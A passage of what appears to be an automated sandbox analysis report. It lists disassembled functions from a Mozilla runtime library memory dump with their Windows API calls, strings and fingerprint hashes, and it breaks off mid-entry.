Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

vml, xrefs: 6C69696C
data, xrefs: 6C696593

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
